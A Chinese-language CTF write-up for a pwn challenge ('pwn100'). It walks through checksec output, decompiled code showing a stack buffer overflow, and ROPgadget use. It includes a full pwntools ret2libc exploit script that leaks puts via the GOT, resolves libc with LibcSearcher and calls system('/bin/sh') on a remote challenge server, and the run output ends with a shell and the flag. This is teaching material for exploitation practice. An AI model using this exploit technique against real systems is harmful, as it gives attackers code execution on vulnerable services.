題目位址:pwn100
本題已經是高手進階區的第五題了,難度也在不斷加大。需要補充的知識點也越來越多了。
廢話不說,看看題目
沒什麼建議和描述,那就先下載下傳附件,看看保護機制
[email protected]:/ctf/work/python/pwn-100# checksec d0b5f9b486bb480c9035839ec896252e
[*] '/ctf/work/python/pwn-100/d0b5f9b486bb480c9035839ec896252e'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
隻開了NX,那就可以做棧溢出。
打開ida看了一些,這個程式比較簡單,直接上c語言代碼,我簡單的調整了一下變量命名:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
go_game();
return 0LL;
}
int go_game()
{
char szInputString; // [rsp+0h] [rbp-40h]
read_string((__int64)&szInputString, 200);
return puts("bye~");
}
__int64 __fastcall read_string(__int64 pszBuffer, signed int nSize)
{
__int64 result; // rax
signed int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= nSize )
break;
read(0, (void *)(i + pszBuffer), 1uLL);
}
return result;
}
注意到溢出點在go_game,很明顯的read函數溢出。
檢查了一下system和/bin/sh在程式裡面都沒有。是以我本次準備采用LibcSearcher,這個子產品可以幫助我們從讀取到的libc運作庫函數位址,确定libc的基位址,進而通過偏移來确定system和/bin/sh。
我們先建構一下payload,一共需要兩個payload:
1、擷取puts函數位址
payload = 'A' * (0x40+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(200, 'B')
2、運作system('/bin/sh')
payload = 'A' * (0x40+8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
payload = payload.ljust(200, 'B')
繼續說一下pop_rdi_ret的擷取方法
[email protected]:/ctf/work/python/pwn-100# ROPgadget --binary d0b5f9b486bb480c9035839ec896252e --only "pop|ret" | grep rdi
0x0000000000400763 : pop rdi ; ret
main_addr就是main函數的位址,其他的變量定義可以直接看python腳本,具體如下:
#coding:utf8
from pwn import *
from LibcSearcher import *
# context.log_level = 'debug'
process_name = './d0b5f9b486bb480c9035839ec896252e'
# p = process(process_name)
p = remote('111.198.29.45', 39499)
elf = ELF(process_name)
main_addr = 0x4006B8
pop_rdi_ret = 0x400763
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
def get_puts(p):
payload = 'A' * (0x40+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(200, 'B')
p.send(payload)
p.recvuntil('bye~\n')
puts_addr = u64(p.recv(6).ljust(8, '\x00'))
log.info("puts_addr => %#x", puts_addr)
p.recv(1)
return puts_addr
puts_addr = get_puts(p)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'A' * (0x40+8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
payload = payload.ljust(200, 'B')
p.sendline(payload)
p.interactive()
執行結果如下:
[email protected]:/ctf/work/python/pwn-100# python pwn-100.py
[+] Opening connection to 111.198.29.45 on port 39499: Done
[*] '/ctf/work/python/pwn-100/d0b5f9b486bb480c9035839ec896252e'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] puts_addr => 0x7efcfcba5690
Multi Results:
0: archive-old-glibc (id libc6-amd64_2.24-3ubuntu1_i386)
1: archive-old-glibc (id libc6-amd64_2.24-3ubuntu2.2_i386)
2: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2.2_i386)
3: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
4: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2_i386)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:3
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
[*] Switching to interactive mode
bye~
$ cat flag
cyberpeace{fa9353aa34f02d8d6044608735bd457e}
$
執行成功,拿到了flag。
本題的知識點主要是在沒有system和/bin/sh的情況下如何通過棧溢出來獲得libc的基位址,進而完成system及/bin/sh的推算。